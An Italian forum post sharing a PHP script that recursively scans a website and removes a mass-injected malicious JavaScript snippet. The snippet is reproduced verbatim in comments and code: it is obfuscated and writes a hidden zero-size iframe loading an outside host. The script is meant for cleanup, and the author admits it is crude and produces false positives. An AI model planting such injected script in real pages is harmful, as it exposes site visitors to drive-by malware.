Ecco lo script definitivo, può essere ampiamente migliorato impiegando le REGEX corrette...attualmente la procedura rileva alcuni falsi positivi ("sei un TESTardo e ...") ma non influisce sulle funzionalità del sito.
ecco lo script:
Codice PHP:
<?php
/**
*
* --------------------------------------
* PHP StakanovMalware Removal vers. 1.0
*
* Script per la rimozione massiva di stringhe (malefiche e non)
* all'interno del vostro sito internet
*
* --------------------------------------
*
* Funzionamento:
* Caricare lo script all'interno della root del vs. sito web.
* La funzione remove_a_string() cercherà ricorsivamente i file e cartelle nel vostro spazio web
*
* - Lo script evita di controllare i file che hanno le estensioni specificate in
* $extensions = array('jpg','gif','png','css','pdf','.sql','.gz','.meta');
*
* - Lo script cercherà all'interno dei vostri file quello che indicherete nella variabile
* $stringa_da_cercare = "test";
*
* TODO: cambiare questa ricerca con il vecchio eregi ed impiegare una REGEX
*
* - Se il sistema rilava la presenza della stringa indicata, considererà il file "infetto"
* ed effettuerà la correzione indicata in:
* $contents = str_replace("<script>
var test = '<45izzf55rza3m4eA AAszrcz=4\'hAt4t5p:/5/A3c4li4Ac5k34-A4zs4AaAz4pe4.54c434oz3m4/Ai54n.zc3gzA4iA4A?4245\'45 3w45iA3d43tz4h4zA=\'zA03p5x3\'A zhAeA4Ai5gA3hz5tz3=A5\'z0zAp5x4\'z s5t5yzzlAAe=5AA\'Av44i5z5sziz44bAzzi5lAi44t5Ay4A:5 hAi4zdzde5nzAA;AA A3AbzzAo4rzd3e4rz:44 znzAo4A5n35ez;54\'z3>A4A<AA3/AAiAfrzza35mAAe3>'.replace(/[Az345]/g,'');
document.write(test);
</script>", '', $contents);
*
* che nel mio caso corregge una iniezione di javascript malevola e massiva :(
*
* ---
*
* Il controllo
* if (!eregi("removal.php", $file))
* serve per evitare che lo script uccida se stesso, quindi il nome del file dovrà essere "removal.php"
*
* L'ho testato e funziona. Non mi firmo perché uso una identità segreta :)
*
*
* A presto
* Dylan di Hosting Talk (sono iscritto al forum)
*
* http://www.hostingtalk.it/forum/server-dedicati/14401-come-rimuovere-stringa-malevola-da-tutti-i-file-online.html#post124455
*
*
*/
session_start();
function remove_a_string($directory = '')
{
if ($directory == '')
$directory = dirname(__FILE__);
$directory = $directory . '/';
if ($handle = @opendir($directory))
{
while ($file = @readdir($handle))
{
if (is_dir("{$directory}/{$file}"))
{
if ($file != "." & $file != "..") $dirs[] = $directory.$file;
} else {
// non salviamo robaccia...
$estensione_del_file = @explode(".", $file);
$estensione = $estensione_del_file[count($estensione_del_file) - 1];
$estensione = strtolower($estensione);
$extensions = array('jpg','gif','png','css','pdf','.sql','.gz','.meta');
if (!in_array($estensione, $extensions))
{
if ($file != "." & $file != "..") $files[] = $directory.$file;
}
}
}
}
@sort($files);
@reset($files);
@sort($dirs);
@reset($dirs);
for ($f=0; count($dirs) > $f; $f++)
{
$nuova_directory = $dirs[$f];
//sleep(1); // giusto per farlo riposare un po...eheh...
echo '<strong>Controllo: '.$nuova_directory.'</strong><br />';
remove_a_string($nuova_directory);
}
for ($g=0; count($files) > $g; $g++)
{
$file = $files[$g];
if (!eregi("removal.php", $file))
{
$contents = @file_get_contents($file);
$stringa_da_cercare = "test";
if ($contents != '')
{
echo '- controllo '. $file . '<br />';
if (eregi($stringa_da_cercare, $contents))
{
echo '<span style="color: red">'. $file . '</span> è infettato!<br />';
$counter = $counter + 1;
// cura!
$contents = str_replace("<script>
var test = '<45izzf55rza3m4eA AAszrcz=4\'hAt4t5p:/5/A3c4li4Ac5k34-A4zs4AaAz4pe4.54c434oz3m4/Ai54n.zc3gzA4iA4A?4245\'45 3w45iA3d43tz4h4zA=\'zA03p5x3\'A zhAeA4Ai5gA3hz5tz3=A5\'z0zAp5x4\'z s5t5yzzlAAe=5AA\'Av44i5z5sziz44bAzzi5lAi44t5Ay4A:5 hAi4zdzde5nzAA;AA A3AbzzAo4rzd3e4rz:44 znzAo4A5n35ez;54\'z3>A4A<AA3/AAiAfrzza35mAAe3>'.replace(/[Az345]/g,'');
document.write(test);
</script>", '', $contents);
$fp = fopen($file, 'w');
fwrite($fp, $contents);
fclose($fp);
echo '<span style="color: green;">CURATO!</span><br />';
//echo '<textarea style="width: 600px; height: 120px; clear: both; display: block;">'.htmlentities($contents).'</textarea>';
}
}
$recounter = @$_SESSION['recounter'] + 1;
@$_SESSION['recounter'] = $recounter;
} // evitiamo di uccidere l'antivirus :)
}
if ($counter > 0){
echo '<hr /><br /><br />';
echo '<strong>Sono presenti '. intval($counter) . ' file infetti...magnifico!</strong><br /><br /><br />';
$counter = 0;
} else {
echo '<br />';
}
}
remove_a_string();
echo @$_SESSION['recounter'] . ' file scansionati!';
@$_SESSION['recounter'] = 0;
?>
Segnalibri